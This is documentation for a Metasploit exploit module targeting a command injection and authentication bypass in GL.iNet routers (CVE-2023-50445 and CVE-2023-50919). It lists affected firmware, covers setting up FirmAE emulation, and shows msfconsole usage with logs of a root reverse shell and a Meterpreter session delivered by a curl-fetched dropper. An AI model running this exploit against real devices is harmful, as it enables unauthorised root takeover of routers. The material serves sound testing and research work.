## Vulnerable Application
A command injection vulnerability exists in multiple GL.iNet network products, allowing an attacker to inject and execute
arbitrary shell commands via JSON parameters at the `gl_system_log` and `gl_crash_log` interface in the `logread` module.
This exploit requires post-authentication using the `AdminToken` cookie / session ID (`SID`), typically stolen by the attacker.

However, by chaining this exploit with vulnerability CVE-2023-50919, one can bypass the Nginx authentication through a `Lua`
string pattern matching and SQL injection vulnerability.
The `AdminToken` cookie / `SID` can be retrieved without knowing a valid username and password.

The following GL.iNet network products are vulnerable:
 - A1300, AX1800, AXT1800, MT3000, MT2500/MT2500A: v4.0.0 < v4.5.0;
 - MT6000: v4.5.0 - v4.5.3;
 - MT1300, MT300N-V2, AR750S, AR750, AR300M, AP1300, B1300: v4.3.7;
 - E750/E750V2, MV1000: v4.3.8;
 - X3000: v4.0.0 - v4.4.2;
 - XE3000: v4.0.0 - v4.4.3;
 - SFT1200: v4.3.6;
 - and potentially others (just try ;-)

## Installation
Ideally, to test this module, you would need a vulnerable GL.iNet device.
However, by downloading the firmware and install and use `FirmAE` to emulate the router,
we can simulate the router and test the vulnerable endpoint.

This module has been tested via FirmAE running on Kali Linux 2023.11 at the following emulated targets:
* GL.iNet Router model AR300M with firmware v4.3.7
* GL.iNet Router model AR300M16 with firmware v4.3.7
* GL.iNet Router model MT300N-V2 with firmware v4.3.7
* GL.iNet Router model MT1300 with firmware v4.3.7

### Installation steps to emulate the router firmware with FirmAE
* Install `FirmAE` on your Linux distribution using the installation instructions provided [here](https://github.com/pr0v3rbs/FirmAE).
* To emulate the specific firmware that comes with the GL.iNet devices, `binwalk` might need to be able to handle a sasquatch filesystem.
* Find the additional installation/compilation steps [here](https://gist.github.com/thanoskoutr/4ea24a443879aa7fc04e075ceba6f689).
* Please do not forget to run this after your `FirmAE` installation otherwise you will not be able to extract the firmware.
* Download  the vulnerable firmware from GL.iNet [here](https://dl.gl-inet.com/?model=ar300m16).
* We will pick `openwrt-ar300m16-4.3.7-0913-1694589994.bin` for the demonstration.
* Start emulation.
* First run `./init.sh` to initialize and start the Postgress database.
* Start a debug session  `./run.sh -d GL.iNet /root/FirmAE/firmwares/openwrt-ar300m16-4.3.7-0913-1694589994.bin`
* This will take a while, but in the end you should see the following...

```shell
 # ./run.sh -d GL.iNet /root/FirmAE/firmwares/openwrt-ar300m16-4.3.7-0913-1694589994.bin
[*] /root/FirmAE/firmwares/openwrt-ar300m16-4.3.7-0913-1694589994.bin emulation start!!!
[*] extract done!!!
[*] get architecture done!!!
mke2fs 1.47.0 (5-Feb-2023)
mknod: /dev/console: File exists
e2fsck 1.47.0 (5-Feb-2023)
[*] infer network start!!!

[IID] 91
[MODE] debug
[+] Network reachable on 192.168.1.1!
[+] Run debug!
Creating TAP device tap91_0...
Set 'tap91_0' persistent and owned by uid 0
Bringing up TAP device...
Starting emulation of firmware... 192.168.1.1 true false 11.438110994 -1
/root/FirmAE/./debug.py:7: DeprecationWarning: 'telnetlib' is deprecated and slated for removal in Python 3.13
  import telnetlib
[*] firmware - openwrt-ar300m16-4.3.7-0913-1694589994
[*] IP - 192.168.1.1
[*] connecting to netcat (192.168.1.1:31337)
[-] failed to connect netcat
------------------------------
|       FirmAE Debugger      |
------------------------------
1. connect to socat
2. connect to shell
3. tcpdump
4. run gdbserver
5. file transfer
6. exit
> 1
/ #
/ # ifconfig
ifconfig
br-lan    Link encap:Ethernet  HWaddr 52:54:00:12:34:56
          inet addr:192.168.8.1  Bcast:192.168.8.255  Mask:255.255.255.0
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:392 errors:0 dropped:0 overruns:0 frame:0
          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:33970 (33.1 KiB)  TX bytes:0 (0.0 B)

eth0      Link encap:Ethernet  HWaddr 52:54:00:12:34:56
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:427 errors:0 dropped:0 overruns:0 frame:0
          TX packets:44 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:42072 (41.0 KiB)  TX bytes:5068 (4.9 KiB)

eth1      Link encap:Ethernet  HWaddr 52:54:00:12:34:57
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:0 errors:0 dropped:0 overruns:0 frame:0
          TX packets:940 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:0 (0.0 B)  TX bytes:321480 (313.9 KiB)

lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:65536  Metric:1
          RX packets:0 errors:0 dropped:0 overruns:0 frame:0
          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:0 (0.0 B)  TX bytes:0 (0.0 B)

/ # netstat -rn
netstat -rn
Kernel IP routing table
Destination     Gateway         Genmask         Flags   MSS Window  irtt Iface
192.168.8.0     0.0.0.0         255.255.255.0   U         0 0          0 br-lan
```

* You should now be able to `ping` the network address 192.168.8.1 from your host.
* Run a `nmap` command to check the services (HTTP TCP port 80).
* NOTE: please check your tap network interface on your host because it might have the wrong IP setting.
* You can change this with: `ip a del 192.168.1.2/24 dev tap91_0` and `ip a add 192.168.8.2/24 dev tap91_0`.

```shell
 # ifconfig tap91_0
tap91_0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 192.168.1.2  netmask 255.255.255.0  broadcast 0.0.0.0
        inet6 fe80::6c06:aff:fefb:ab29  prefixlen 64  scopeid 0x20<link>
        ether 6e:06:0a:fb:ab:29  txqueuelen 1000  (Ethernet)
        RX packets 39  bytes 4692 (4.5 KiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 50  bytes 4044 (3.9 KiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0
```
```shell
 # ping 192.168.8.1
PING 192.168.8.1 (192.168.8.1) 56(84) bytes of data.
64 bytes from 192.168.8.1: icmp_seq=1 ttl=64 time=9.2 ms
64 bytes from 192.168.8.1: icmp_seq=2 ttl=64 time=3.18 ms
^C
--- 192.168.8.1 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1001ms
rtt min/avg/max/mdev = 2.384/5.650/8.916/3.266 ms
 # nmap 192.168.8.1
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-01-03 14:47 UTC
Nmap scan report for 192.168.8.1
Host is up (0.020s latency).
Not shown: 997 closed tcp ports (reset)
PORT    STATE SERVICE
53/tcp  open  domain
80/tcp  open  http
443/tcp open  https
MAC Address: 52:54:00:12:34:57 (QEMU virtual NIC)
```
You are now ready to test the module using the emulated router hardware on IP address `192.168.8.1`.

## Verification Steps
- [x] Start `msfconsole`
- [x] `use exploit/linux/http/glinet_unauth_rce_cve_2023_50445`
- [x] `set rhosts <ip-target>`
- [x] `set lhost <ip-attacker>`
- [x] `set target <0=Unix Command, 1=Linux Dropper>`
- [x] `exploit`

You should get a `shell` or `Meterpreter`.

```shell
msf6 exploit(linux/http/glinet_unauth_rce_cve_2023_50445) > info

       Name: GL.iNet Unauthenticated Remote Command Execution via the logread module.
     Module: exploit/linux/http/glinet_unauth_rce_cve_2023_50445
   Platform: Unix, Linux
       Arch: cmd, mipsle, mipsbe, armle
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2013-12-10

Provided by:
  h00die-gr3y <h00die.gr3y@gmail.com>
  Unknown
  DZONERZY

Module side effects:
 ioc-in-logs
 artifacts-on-disk

Module stability:
 crash-safe

Module reliability:
 repeatable-session

Available targets:
      Id  Name
      --  ----
  =>  0   Unix Command
      1   Linux Dropper

Check supported:
  Yes

Basic options:
  Name     Current Setting  Required  Description
  ----     ---------------  --------  -----------
  Proxies                   no        A proxy chain of format type:host:port[,type:host:port][...]
  RHOSTS                    yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
  RPORT    80               yes       The target port (UDP)
  SID                       no        Session ID
  SSL      false            no        Negotiate SSL/TLS for outgoing connections
  SSLCert                   no        Path to a custom SSL certificate (default is randomly generated)
  URIPATH                   no        The URI to use for this exploit (default is random)
  VHOST                     no        HTTP server virtual host


  When CMDSTAGER::FLAVOR is one of auto,tftp,wget,curl,fetch,lwprequest,psh_invokewebrequest,ftp_http:

  Name     Current Setting  Required  Description
  ----     ---------------  --------  -----------
  SRVHOST  0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen o
                                      n all addresses.
  SRVPORT  8080             yes       The local port to listen on.

Payload information:

Description:
  A command injection vulnerability exists in multiple GL.iNet network products, allowing an attacker
  to inject and execute arbitrary shell commands via JSON parameters at the `gl_system_log` and `gl_crash_log`
  interface in the `logread` module.
  This exploit requires post-authentication using the `Admin-Token` cookie/sessionID (`SID`), typically stolen
  by the attacker.
  However, by chaining this exploit with vulnerability CVE-2023-50919, one can bypass the Nginx authentication
  through a `Lua` string pattern matching and SQL injection vulnerability. The `Admin-Token` cookie/`SID` can be
  retrieved without knowing a valid username and password.

  The following GL.iNet network products are vulnerable:
  - A1300, AX1800, AXT1800, MT3000, MT2500/MT2500A: v4.0.0 < v4.5.0;
  - MT6000: v4.5.0 - v4.5.3;
  - MT1300, MT300N-V2, AR750S, AR750, AR300M, AP1300, B1300: v4.3.7;
  - E750/E750V2, MV1000: v4.3.8;
  - X3000: v4.0.0 - v4.4.2;
  - XE3000: v4.0.0 - v4.4.3;
  - SFT1200: v4.3.6;
  - and potentially others (just try ;-)

  NOTE: Staged Meterpreter payloads might core dump on the target, so use stage-less Meterpreter payloads
  when using the Linux Dropper target.

References:
  https://nvd.nist.gov/vuln/detail/CVE-2023-50445
  https://nvd.nist.gov/vuln/detail/CVE-2023-50919
  https://attackerkb.com/topics/3LmJ0d7rzC/cve-2023-50445
  https://attackerkb.com/topics/LdqSuqHKOj/cve-2023-50919
  https://libdzonerzy.so/articles/from-zero-to-botnet-glinet.html
  https://github.com/gl-inet/CVE-issues/blob/main/4.0.0/Using%20Shell%20Metacharacter%20Injection%20via%20API.md


View the full module info with the info -d command.
```

## Options
### SID
This is the SessionID (`SID`) which you need for authentication.
The module will exploit and grab the `SID` autmatically, but you can also provide it manually by using this option.

## Scenarios
###  FirmAE GL.iNet AR300M16 Router Emulation Unix Command - cmd/unix/reverse_netcat
```shell
msf6 exploit(linux/http/glinet_unauth_rce_cve_2023_50445) > set target 0
target => 0
msf6 exploit(linux/http/glinet_unauth_rce_cve_2023_50445) > exploit

[*] Started reverse TCP handler on 192.168.8.2:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Checking if 192.168.8.1:80 can be exploited.
[!] The service is running, but could not be validated. Product info: |4.3.7|n/a
[*] SID: NsPHdkXtENoaotxVZWLqJorU52O7J0OI
[*] Executing Unix Command for cmd/unix/reverse_netcat
[*] Command shell session 8 opened (192.168.8.2:4444 -> 192.168.8.1:53167) at 2024-01-03 11:12:18 +0000

pwd
/
id
uid=0(root) gid=0(root) groups=0(root),65533(nonevpn)
uname -a
Linux GL- 4.1.17+ #28 Sat Oct 31 17:56:39 KST 2020 mips GNU/Linux
exit
```
### FirmAE GL.iNet AR300M16 Router Emulation Linux Dropper - linux/mipsbe/meterpreter_reverse_tcp
```shell
msf6 exploit(linux/http/glinet_unauth_rce_cve_2023_50445) > set target 1
target => 1
msf6 exploit(linux/http/glinet_unauth_rce_cve_2023_50445) > exploit

[*] Started reverse TCP handler on 192.168.8.2:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Checking if 192.168.8.1:80 can be exploited.
[!] The service is running, but could not be validated. Product info: |4.3.7|n/a
[*] SID: Gs2KPnIsIQQUzHQkEBVN8JOcq5nV008e
[*] Executing Linux Dropper for linux/mipsbe/meterpreter_reverse_tcp
[*] Using URL: http://192.168.8.2:1981/OrfVHM15cua0w
[*] Client 192.168.8.1 (curl/7.88.1) requested /OrfVHM15cua0w
[*] Sending payload to 192.168.8.1 (curl/7.88.1)
[*] Meterpreter session 9 opened (192.168.8.2:4444 -> 192.168.8.1:48511) at 2024-01-03 08:30:52 +0000
[*] Command Stager progress - 100.00% done (117/117 bytes)
[*] Server stopped.

meterpreter > getuid
Server username: root
meterpreter > sysinfo
Computer     : 192.168.8.1
OS           :  (Linux 4.1.17+)
Architecture : mips
BuildTuple   : mips-linux-muslsf
Meterpreter  : mipsbe/linux
meterpreter > 
```

## Limitations
Staged Meterpreter payloads might core dump on the target, so use stage-less Meterpreter payloads when using the Linux Dropper target.
